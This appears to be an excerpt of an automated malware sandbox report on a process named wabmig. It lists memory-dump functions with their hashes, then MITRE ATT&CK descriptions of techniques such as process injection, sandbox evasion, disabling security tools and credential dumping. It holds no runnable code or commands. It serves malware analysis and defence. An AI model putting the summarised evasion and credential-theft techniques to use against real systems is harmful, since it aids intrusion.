Instruction ID: a6296d58940b915b6e7792d4d45b232a02dc18741d2078d4090f4bc6d8d78fd9
Opcode Fuzzy Hash: 46e566c285fcf0eaddd108f75d1b02db809fb1c2f9b0e8a043f2c375420cfa59
Instruction Fuzzy Hash: 0E3181B0E143499FEB28CBA5D8547AEBBB1FFD6704F50446AE402EB244D774D8428B80

Function 0083A750 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84422bf3a61684468cf038a3c9e6d6a199302d37d73e8aafd2ea3f3c4e896a00
Instruction ID: 3b0f94e5a2ebbc7b3a10220e6990de8aed842b9ffc34f11f27ba066d80ce9db4
Opcode Fuzzy Hash: 84422bf3a61684468cf038a3c9e6d6a199302d37d73e8aafd2ea3f3c4e896a00
Instruction Fuzzy Hash: 5A818A71A002058FDB08DF69D884B9DBBB2FF88310F24C269E909EB395DB759C45CB91

Function 00836EB7 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ab1195f6e1cbd95af0f87f44d21fb5655dd0ab1166f8b22e5e76671ffeb59a
Instruction ID: 97563d37bb417f62b72dec09301dc909d3ea67febb8b655de45d8a0ea2dbddf1
Opcode Fuzzy Hash: 04ab1195f6e1cbd95af0f87f44d21fb5655dd0ab1166f8b22e5e76671ffeb59a
Instruction Fuzzy Hash: B6514574714109CFDB18EB68C468AAD7BF6FF89704F2084A9E406EB3A1DA75DC41CB91

Function 0083F200 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c946b04bcd2e4922121706c173a4af7edb8e32b82c6712195a108a414e97f498
Instruction ID: c47342f30bfed28b5d17b3cdad1731338eb75c11b4fb1020d78f58829f5b7d5e
Opcode Fuzzy Hash: c946b04bcd2e4922121706c173a4af7edb8e32b82c6712195a108a414e97f498
Instruction Fuzzy Hash: C5411134B00114CBDF19ABADD89426EBBA3FBC4320F144579E619CB283DA39CC0687D6

Function 0083EF10 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12ea6de2c6616a2c533168e3bf5d99baf2dbec13c0913f87f1bd839b38ee4f97
Instruction ID: 9b6397a5e4739c0e2d6afe291d8c1d367a5e71435e64d99154a250cbda97e56c
Opcode Fuzzy Hash: 12ea6de2c6616a2c533168e3bf5d99baf2dbec13c0913f87f1bd839b38ee4f97
Instruction Fuzzy Hash: F1418530E10649CBDF24DF69D49469EBBB2FFC4304F508569E405EB245DBB5AC49CB81

Function 0083E998 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e5ffa8a406ebd971eeb6c9081b7e6e4a546a840128a675572d445f800994da
Instruction ID: 0e5609396e2a7795e66193b904f52ce9bcc24767fc20c037c9f2bc9d3dcb21ce
Opcode Fuzzy Hash: 99e5ffa8a406ebd971eeb6c9081b7e6e4a546a840128a675572d445f800994da
Instruction Fuzzy Hash: 77411634710205CFDB58DB29C894E5ABBE6FF88714F149469E906EB3A1DB70EC01CB90

Function 0083E988 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0a69acdac38417783fbe93d3d2c3258188fc93da745f6b7974a59eed7df56e
Instruction ID: 121f8a4a9655891ec532ef4d8d1f8b95506d1738c7a04c1ca2e216152f2c5770
Opcode Fuzzy Hash: 5b0a69acdac38417783fbe93d3d2c3258188fc93da745f6b7974a59eed7df56e
Instruction Fuzzy Hash: 6B4126347101058FDB58CB29C498E69BBF6FF88714F1480A9E906EB3A1DB70EC41CB80

Function 00837D58 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a6bf2821edde3afbe5fa5002e47fe170c8603fb5af5e7a07bb29af1f839ac5
Instruction ID: 30a6bb16bacd17a814fd97a161c76d6836f10ce915d362d146d8005cf4b492c8
Opcode Fuzzy Hash: 69a6bf2821edde3afbe5fa5002e47fe170c8603fb5af5e7a07bb29af1f839ac5
Instruction Fuzzy Hash: D03161B0E142099FEB28DBA5D854BAEBBB1FFC5714F604469E401EB244DB74DC45CB80

Function 00831138 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d9465ad80fc8a6938b386b3e8ecaac18f842b566762fc77048dee81709df542
Instruction ID: 09157dbc9d92f808fce0dd8375f00c046191d8f391938ab06e4d29000e4ee56c
Opcode Fuzzy Hash: 2d9465ad80fc8a6938b386b3e8ecaac18f842b566762fc77048dee81709df542
Instruction Fuzzy Hash: FF41D772371246CFE68DDF2CD880E55BF61F799306304A569D2249B2B2DF78AD09CB80

Function 0083F480 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ded8c45208af66a6e16d67f9c06b71c33290ed43da8073c86f1730f5ad5e6cb
Instruction ID: 0966f2357123fc20b658d175812f4b1d21749267d938c6a7b2aed54de1206dc7
Opcode Fuzzy Hash: 6ded8c45208af66a6e16d67f9c06b71c33290ed43da8073c86f1730f5ad5e6cb
Instruction Fuzzy Hash: AE316B31B002069BDB19AF359918A6E7AA7FFC9710F244978D902DB392DE35DD41CBD0

Function 00837E71 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a473b16b6727f32fb9c31dfd787c3410eccc12f2cfe39039ce8c075ea0685d9d
Instruction ID: c3e2e120022cae3845d5f04749a89ca88ff333f266e6a7cef9ec1994552fc108
Opcode Fuzzy Hash: a473b16b6727f32fb9c31dfd787c3410eccc12f2cfe39039ce8c075ea0685d9d
Instruction Fuzzy Hash: 2E316F35710215CFD759ABB8D458B2D7BA7FBC9300F104068E106973A5CF7A9C42DB90

Function 0083A100 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f5946742baf37991023c489e1f7648b6a9351c98d9782e7ad0fb443430350c5
Instruction ID: 0d4cf0851170fd28cc07cb2edec21db99ac811ac37e8c431068c8c313d2b4120
Opcode Fuzzy Hash: 0f5946742baf37991023c489e1f7648b6a9351c98d9782e7ad0fb443430350c5
Instruction Fuzzy Hash: C7318431E1020A9BDB0DCF65D8846AEFBB2FFC5300F148619E856EB250DB719C81CB92

Function 00831660 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83be0072a1954e50476553761cde0cc906bec919bc72dfc60b981012dcfe45d1
Instruction ID: f78cdde15ff43ff54d9aae67fd9b7c46e206ad859461802c468da7477dbc6b89
Opcode Fuzzy Hash: 83be0072a1954e50476553761cde0cc906bec919bc72dfc60b981012dcfe45d1
Instruction Fuzzy Hash: BF21AE707301018FEF26EB6CD899BA97B61FBE2701F146929D106CB295EB398C408B81

Function 0083A110 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a103f6090b5c9cd528e0d76a10e4b540f3c637a1536643c6bd1af31b9593b693
Instruction ID: d646b8772f2e41e9035d03b0c8337ce223cf5316277026db3f09ea3e56a63930
Opcode Fuzzy Hash: a103f6090b5c9cd528e0d76a10e4b540f3c637a1536643c6bd1af31b9593b693
Instruction Fuzzy Hash: 48212131E1020A9BDB1DCF65D89469EF7B2FFC5300F14861AE916EB240DB759C85CB91

Function 0083A000 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61652f134271d25d5f8e43673c744e1b32a4628efa25b744a2bcb32a2d4bca68
Instruction ID: 98ebe7bebd5d55de2be29a1b773fd9aa7998777251a70c281de21b59167d7bda
Opcode Fuzzy Hash: 61652f134271d25d5f8e43673c744e1b32a4628efa25b744a2bcb32a2d4bca68
Instruction Fuzzy Hash: 6D216031E00605DBDB1CCF64D49069EB7B1FF89310F14861AE855FB290DB719C46CB82

Function 00831342 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7bc1e2f17b674e5a6bb51902f208519c9cbb9d9cc143be100a4758c99944eb7
Instruction ID: aef01972cd771b0d728cbb0ecb249101a5505d284caf7a70c8b598dc34778437
Opcode Fuzzy Hash: d7bc1e2f17b674e5a6bb51902f208519c9cbb9d9cc143be100a4758c99944eb7
Instruction Fuzzy Hash: 4F216D30A111418BEF396B38D49C77D7B62FBE2B16F101869E406CB790DA6D8C858B86

Function 00836B60 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22829cc95f7f1091c31b4bb731f59bf08fce1d73bf159367b4b221d7f6a7b6c
Instruction ID: ae4758f41fc4623f6ec67b97e29960de75793c9d0a60ded13f030197255d351c
Opcode Fuzzy Hash: c22829cc95f7f1091c31b4bb731f59bf08fce1d73bf159367b4b221d7f6a7b6c
Instruction Fuzzy Hash: 0221D0313142419FC70AEB3CD85869E7BA2EFC5310F1485EAD085CB296EE758C45C7D1

Function 0080D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376309783.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_80d000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641c158128d9b6e55a27db73f942dffbc641be3969d7408aad2429ba2f419340
Instruction ID: 0d9ec86d197f6b5251e3eae07394e569c699a4bf63091933f6f8cc80016da2f3
Opcode Fuzzy Hash: 641c158128d9b6e55a27db73f942dffbc641be3969d7408aad2429ba2f419340
Instruction Fuzzy Hash: AE2100B1604704EFDB54DF54D980B26BBA1FB84318F20C56DD90D8B292C77AD846CA62

Function 00831839 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a062f3e94b445f1f07322cc90b265238693429907e06f524e83adba9e03c9e5
Instruction ID: 8d8e747f49cb2cd1f5ca0fe7a1624937ad0689ce25fa212e9107938a915d85ba
Opcode Fuzzy Hash: 3a062f3e94b445f1f07322cc90b265238693429907e06f524e83adba9e03c9e5
Instruction Fuzzy Hash: 28211730A042448FDF14DB38C569BAEBBB2FF89745F100468D546EB290DB7A8D41CBA1

Function 0083A010 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e617b6de68930988abb84a24f622fcc89d1d05a25f1ca42f290061d5fb135f84
Instruction ID: efb6b8ec1fb9adb9e5fd59bce1c0e26b2cb54d83acdd48e434c959a284d26542
Opcode Fuzzy Hash: e617b6de68930988abb84a24f622fcc89d1d05a25f1ca42f290061d5fb135f84
Instruction Fuzzy Hash: BF211031E00609DBDB1CCFA5D4A059EB7B6FF89310F20861AE855FB250DB719C45CB92

Function 00831848 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 159edb13887750db67104b619d73c0dec08cecca346931115b0647144bbaed67
Instruction ID: 26da969cc36ff1f0b75a223cbe4b478b2d0c96492652b93867d4491b27df0831
Opcode Fuzzy Hash: 159edb13887750db67104b619d73c0dec08cecca346931115b0647144bbaed67
Instruction Fuzzy Hash: 1721F430B002088BDF58DA68C569AAE77B6FB89745F500468D506EB390DF7A8D41CBE1

Function 00831670 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8386caed293dbd021c68a8174fb20d5e7cf0202745e4f867ab3228a250c3bed
Instruction ID: 7f0bf40523c62ae4cfd934bd960e751f014cda8ef7140e6a0402571b14e5a7ce
Opcode Fuzzy Hash: f8386caed293dbd021c68a8174fb20d5e7cf0202745e4f867ab3228a250c3bed
Instruction Fuzzy Hash: 16216A307301028BEF29EB6CD898B697B65F7D5711F146A28D106CB2A4EF799C448BD1

Function 00831780 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e22ca0793c221c0e551bacea7a7353c16f52c74007998955cdbb5bea15fa5d7
Instruction ID: 5abafd1f8a07d01fdffff7e1246dc8a1f8f4bfc7cdab8a20ee0b65f6058d3518
Opcode Fuzzy Hash: 1e22ca0793c221c0e551bacea7a7353c16f52c74007998955cdbb5bea15fa5d7
Instruction Fuzzy Hash: 8611C476F002558FDF60AE799849AAEBBB1FBD8761F180525D905C7344EB39CD028BC0

Function 00831448 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d98cb7f2c8f488ed8dd6b1eeaa07ed7cdf963d5e9a10b3874475f19d3483b7
Instruction ID: f6f79d2221fab0645f2aed025275d864770eaaeb553c47e114d97c17f29da767
Opcode Fuzzy Hash: 28d98cb7f2c8f488ed8dd6b1eeaa07ed7cdf963d5e9a10b3874475f19d3483b7
Instruction Fuzzy Hash: 32119435A013158FCF21EFBC84551ADBBE6FB89720F2405B9D445E7282EB35C8428BD6

Function 00830848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cdc855acecfbdaee44b4c26aa780100602836b387215abc7a77b5ea40dfae9b
Instruction ID: 2344fd61d41fa3943253ac62414a7c3a1433245e2713aad1bb9d89ffd59570ad
Opcode Fuzzy Hash: 9cdc855acecfbdaee44b4c26aa780100602836b387215abc7a77b5ea40dfae9b
Instruction Fuzzy Hash: F0118F30B112088FEF28ABBAC82473936A5FBD5315F204979D606CF281DE64CC858FC1

Function 00830838 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08bcc7db9b99f62e82c3d40450b6ab4ba91f1956ee0b2b91c92f4808784446b8
Instruction ID: a2bc765be74e508d51e9d4bbf233c905947d32e78f46861da0974c3f406ba4f8
Opcode Fuzzy Hash: 08bcc7db9b99f62e82c3d40450b6ab4ba91f1956ee0b2b91c92f4808784446b8
Instruction Fuzzy Hash: 6611BF30B152088BEF29ABA98C647797B61FBD2355F20497AD502CB282DA64CC858FC1

Function 00831458 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd1da76e7c3568fd71370f2d29bc97dff73bbb55c6efd0283e46b332c8466cdc
Instruction ID: 04e646a73f6283ade6f4d28c8fce3b2be7037be310331a483b9719766d3cbd92
Opcode Fuzzy Hash: dd1da76e7c3568fd71370f2d29bc97dff73bbb55c6efd0283e46b332c8466cdc
Instruction Fuzzy Hash: 63012D35A012159FCF61EFB984552AD7BF6FB88710F2444BAE805E7282EA35CC428BD5

Function 0080D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376309783.000000000080D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_80d000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 090c0537c78d0a9e0cf557f54a9a46fed39f1def7b615c12cc1720ba391898bf
Instruction ID: 2723cde0bc7093ee1cc6606c536df62f0da63983fc694cc3bbf43627391eee68
Opcode Fuzzy Hash: 090c0537c78d0a9e0cf557f54a9a46fed39f1def7b615c12cc1720ba391898bf
Instruction Fuzzy Hash: B711BB75504784CFCB11CF50D9C0B15FBA1FB84314F28C6AAD8498B6A6C33AD84ACB62

Function 0083E360 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c05c4ba0821ef5e15c9c16ee721ddd176be7b2b9f415af6fab281512d428a890
Instruction ID: 388a60c8b3a6bb17e568ee9e4c3341992f49fcdcbd566a272abd3b59e230a166
Opcode Fuzzy Hash: c05c4ba0821ef5e15c9c16ee721ddd176be7b2b9f415af6fab281512d428a890
Instruction Fuzzy Hash: E6019E313052008BC725AA39999563E7A97ABC5355B14043EF14ACB391DF799C0A87E1

Function 0083F210 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770c4cf33f38ad6e1103016aaba006707de8e11d552ab149239cde2e6cd6b5f8
Instruction ID: 50646373bfe7f759d518f73adedebf13286c491b14528879be643b62b4e8a603
Opcode Fuzzy Hash: 770c4cf33f38ad6e1103016aaba006707de8e11d552ab149239cde2e6cd6b5f8
Instruction Fuzzy Hash: ECF0B435700216DBDB2566BEE55972BBACBEBC1720F00093DE60ACB252DE65DD0643D1

Function 0083E7C0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3376480337.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_830000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce31488e489c4d977cb71e2ffd967f1b1c435bc020c7db9ff7c38ec6c670452e
Instruction ID: 715a86d6233ca53822cfd4b56f1a884098460c5b8ff6e632c6c85b808a967089
Opcode Fuzzy Hash: ce31488e489c4d977cb71e2ffd967f1b1c435bc020c7db9ff7c38ec6c670452e
Instruction Fuzzy Hash: 50D02B3060D35C6FC3369768A4486527FDAEBC5355F04459DF586C3182DE106801C3D1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

